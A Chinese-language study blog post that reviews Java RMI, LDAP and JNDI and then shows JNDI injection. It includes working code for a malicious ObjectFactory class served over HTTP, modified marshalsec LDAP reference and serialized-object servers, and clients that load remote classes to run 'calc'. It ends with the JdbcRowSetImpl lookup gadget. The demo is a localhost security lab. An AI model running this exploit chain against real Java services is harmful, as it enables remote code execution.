一、一些概念-RMI、LDAP、JNDI
以前学过发现又有点忘了,温故而知新嘛,重新学下…
1、RMI
Java RMI(Java Remote Method Invocation),即Java远程方法调用。是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。能直接传输序列化后的Java对象和分布式垃圾收集。它的实现依赖于Java虚拟机,因此它仅支持从一个JVM到另一个JVM的调用.
回顾下:https://rita888.github.io/2020/06/14/Java%20RMI/
RMI有一个重要的特性是动态类加载机制,当本地CLASSPATH中无法找到相应的类时,会在指定的codebase里加载class。
codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。
简而言之RMI总共三个部分:
- Registry: 注册服务 提供服务注册与服务获取。即Server端向Registry注册服务,比如地址、端口等一些信息,Client端从Registry获取远程对象的一些信息,如地址、端口等,然后进行远程调用。
- Server: 远程方法的提供者,并向Registry注册自身提供的服务
- Client: 远程方法的消费者,从Registry获取远程方法的相关信息并且调用
2、LADP
LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。
目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就x像它的名字一样。LDAP目录服务是由目录数据库和一套访问协议组成的系统。
以下LDAP相关知识参考:https://www.cnblogs.com/wilburxu/p/9174353.html及https://zhuanlan.zhihu.com/p/32732045。
LDAP信息模型:
在LDAP中信息以树状方式组织,在树状信息中的基本数据单元是条目,而每个条目[Entry]由属性[Attribute]构成,属性中存储有属性值[Value];LDAP中的信息模式,类似于面向对象的概念,在LDAP中每个条目必须属于某个或多个对象类(Object Class),每个Object Class由多个属性类型组成,每个属性类型有所对应的语法和匹配规则;对象类和属性类型的定义均可以使用继承的概念。每个条目创建时,必须定义所属的对 象类,必须提供对象类中的必选属性类型的属性值,在LDAP中一个属性类型可以对应多个值。
如上图就是一个LDAP目录树,目录树中一些具体的概念:
- 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目;
- 条目:上图的每个椭圆就是一个条目,一个条目有若干个属性和若干个值,有些条目还能包含子条目。每个条目有自己的唯一可区别的名称(DN),如图中的左下角条目,其别名DN就是
uid=songtao.xu,ou=hr,dc=foo,dc=example,dc=com
;
- 对象类:某个实体类型对应的一组属性,对象类封装了必选的属性和可选的属性,同时对象类也是支持继承的。通过对象类可以很方便地指定条目的类型,一个条目也可以绑定多个对象类。如图
HumanResourcesProfessional
就是一个对象类,代表人力资源管理师的类;
- 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性。
互联网命名组织架构使用的关键字:
关键字 |
英文全称 |
含义 |
dc |
Domain Component |
域名的部分,其格式是将完整的域名分成几部分,如域名为example.com变成dc=example,dc=com(一条记录的所属位置) |
ou |
Organization Unit |
组织单位,组织单位可以包含其他各种对象(包括其他组织单元),如“oa组”(一条记录的所属组织) |
uid |
User Id |
用户ID songtao.xu(一条记录的ID) |
cn |
Common Name |
公共名称,如“Thomas Johansson”(一条记录的名称) |
sn |
Surname |
姓,如“许” |
dn |
Distinguished Name |
“uid=songtao.xu,ou=oa组,dc=example,dc=com”,一条记录的位置(唯一) |
rdn |
Relative dn |
相对辨别名,类似于文件系统中的相对路径,它是与目录树结构无关的部分,如“uid=tom”或“cn= Thomas Johansson” |
Oracle官方说明了几种存储Java对象的方式:
- Referenceable objects
- java.io.Serializable objects
- DirContext objects
- Marshalled Objects
- java.rmi.Remote
- CORBA Object
我们重点看下1、2、4。
1、Referenceable objects
LDAP Attribute Name |
Content |
javaClassName (必须) |
Object.getClass().getName() ,类的全称 |
javaFactory |
工厂类名全称 |
javaCodebase |
指向class定义的位置 |
javaReferenceAddress |
引用地址列表 |
2、java.io.Serializable objects
LDAP Attribute Name |
Content |
javaClassName (必须) |
Object.getClass().getName() ,类的全称 |
javaSerializedData (必须) |
对象序列化后的数据 |
javaClassNames |
类的所有继承的父类即接口名称列表 |
javaCodebase |
指向class定义的位置 |
3、Marshalled Objects
LDAP Attribute Name |
Content |
javaClassName (必须) |
Object.getClass().getName() ,类的全称 |
javaSerializedData (必须) |
对象序列化后的数据 |
javaClassNames |
类的所有继承的父类即接口名称列表 |
3、JNDI
JNDI(Java Naming and Directory Interface)是一组Java命名和目录接口,主要用于将JNDI API映射为特定的命名服务和目录系统,作用就是使Java应用程序可以和这些命名服务和目录服务之间进行交互。
JNDI可访问的现有的目录及服务有:
DNS、LDAP、 CORBA对象服务 (公共对象请求代理体系结构)、RMI、文件系统、Windows XP/2000/NT/Me/9x的注册表、DSML v1&v2、NIS、XNam 、Novell目录服务。
如何通过JNDI调用服务?
3步:
- 指定需要查找name名称:
String jndiName= "jndiName";
;
- 初始化默认环境:
Context context = new InitialContext();
;
- 查找该name的数据:
context.lookup(jndiName);
二、几个实例及利用方式总结
RMI&JNDI
RMI服务端的远程类Calc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
|
public class Calc extends UnicastRemoteObject implements Icalc {
public Calc() throws RemoteException { }
public void calc() throws IOException { Runtime.getRuntime().exec("calc"); } }
public class Calc extends UnicastRemoteObject implements Icalc {
public Calc() throws RemoteException { }
public void calc() throws IOException { Runtime.getRuntime().exec("calc"); } }
|
服务端注册Cacl对象为远程可调用对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
|
public class RmiRegisterServer{ private RmiRegisterServer(String port) throws RemoteException { Registry registry = LocateRegistry.createRegistry(Integer.parseInt(port)); try { registry.bind("calculate",new Calc()); } catch (AlreadyBoundException e) { e.printStackTrace(); } }
public static void main(String[] args) { try { new RmiRegisterServer("1999"); System.out.println("RMI服务启动成功..."); } catch (RemoteException e) { e.printStackTrace(); } } }
|
当服务注册成功,客户端此时可以请求远程服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public class RmiClient { public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1999); Icalc calculate = (Icalc) registry.lookup("calculate");
calculate.calc(); } catch (RemoteException e) { e.printStackTrace(); } catch (NotBoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }
|
利用上面的例子,改为从JNDI获取RMI远程对象Calc,方法就是上面提过的3步法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public class JndiAndRmi { public static void main(String[] args) { try { test(); } catch (Exception e) { e.printStackTrace(); } }
public static void test(){ String uri = "rmi://localhost:1999/calculate"; try { Context ctx = new InitialContext(); Icalc icalc = (Icalc) ctx.lookup(uri); icalc.calc(); } catch (NamingException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }
|
LDAP-Reference&JNDI
创建一个test.java,用作远程恶意类:
test.java1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable;
public class test implements ObjectFactory {
public test() throws IOException { Runtime.getRuntime().exec("calc"); }
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return new Integer(1); } }
|
创建一个test.class放在一个目录下,在目录下用python3开启一个http服务,记得删除本地的test.java,因为jndi的lookup会优先使用本地的程序找不到才加载远程:
1 2
| javac test.java python -m http.server
|
利用marshalsec的LDAPRefServer对main方法和sendResult方法稍作改动:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public static void main ( String[] args ) { int port = 1389; String url = "http://127.0.0.1:8000/#Calc"; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
|
其中一段代码我们可以看下,就是上面Referenceable objects
提到的几个需要的属性:
javaClassName
-类名
javaCodeBase
-class字节码文件放置位置 也就是http服务url
javaFactory
-工厂类名,this.codebase.getRef()
本例中是上面的test,也是为什么要让test继承ObjectFactory,否则会出错
objectClass
-javaNamingReference
指定使用Java命令引用
记得在pom.xml加上依赖:
1 2 3 4 5 6
| <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> <scope>compile</scope> </dependency>
|
利用Jndi调用ldap的test恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import javax.naming.Context; import javax.naming.NamingException; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.util.Hashtable;
public class JndiAndLdap { public static void main(String[] args) throws NamingException { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
Object local_obj = ctx.lookup("cn=foo,dc=example,dc=com"); } }
|
LDAP-Serializable
改写marshalsec的LDAPRefServer,其中的序列化存储java对象需要的属性:javaClassName
、javaSerializedData
和javaCodeBase
注意修改下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| import java.io.File; import java.io.IOException; import java.net.InetAddress; import java.net.URL; import java.nio.file.Files;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
public class LdapSerServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] args ) { int port = 1389;
String url = "http://127.0.0.1:8000/"; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); }
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
System.out.println("Send LDAP Serialize result for " + base); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); e.addAttribute("javaCodeBase", cbstring); byte[] javaSerializedData = Files.readAllBytes(new File("E:\\ser.txt").toPath()); e.addAttribute("javaSerializedData", javaSerializedData); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
客户端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import java.io.IOException;
public class LdapSerClient { public static void main(String[] args) throws NamingException, IOException { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); Context ctx = new InitialContext(); test object = (test) ctx.lookup("ldap://127.0.0.1:1389/cn=foo,dc=example,dc=com"); System.out.println(object.toString()); object.calc(); } }
|
其中序列化的对象类如下:
1 2 3 4 5 6 7 8 9 10 11 12
| public class test implements Serializable {
private static final long serialVersionUID = -3858195503738032307L;
public test() throws IOException { Runtime.getRuntime().exec("calc"); }
public void calc() throws IOException { Runtime.getRuntime().exec("calc"); } }
|
如果使用JNDI跟上面一样的道理,不过需要在sendResult
中添加Java命名引用 e.addAttribute("objectClass", "javaNamingReference");
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import jndi.ldap.test;
import javax.naming.Context; import javax.naming.NamingException; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.io.IOException; import java.util.Hashtable;
public class JndiAndLdap { public static void main(String[] args) throws NamingException, IOException { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
test local_obj = (test) ctx.lookup("cn=foo,dc=example,dc=com"); System.out.println(local_obj.toString()); local_obj.calc(); } }
|
利用方式总结:
JNDI可以通过InitialContext.lookup
查找LDAP或RMI服务,LDAP可通过Referenceable objects方式存储Java对象。进一步调用远程HTTP服务下的恶意class文件,而RMI直接可调用注册在Registry中的远程对象。
三、JdbcRowSetImpl
JdbcRowSetImpl
继承自javax.sql.rowset.JdbcRowSet
,JdbcRowSet
是一个连接的行集,也就是说,它使用支持JDBC技术的驱动程序不断维护与数据库的连接。
在JdbcRowSetImpl
连接数据库时,会调用InitialContext.lookup
方法来处理远程对象。lookup方法的参数通过this.getDataSourceName()
获取,我们可以通过setDataSourceName
设置这个参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| private Connection connect() throws SQLException { if (this.conn != null) { return this.conn; } else if (this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); } } else { return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null; } }
|
在三个地方调用了connect方法
因此我们可以通过这三个方法来间接调用到InitialContext.lookup
,当lookup参数设置成上面的rmi或ldap地址,或许我们就可以进行利用。
四、参考链接:
https://zhuanlan.zhihu.com/p/73428357
https://paper.seebug.org/1207/#jndi
https://zhuanlan.zhihu.com/p/32732045
https://xz.aliyun.com/t/7079
https://docs.oracle.com/javase/8/docs/api/javax/sql/rowset/JdbcRowSet.html
https://docs.oracle.com/cd/E17824_01/dsc_docs/docs/jscreator/apis/rowset/com/sun/rowset/JdbcRowSetImpl.html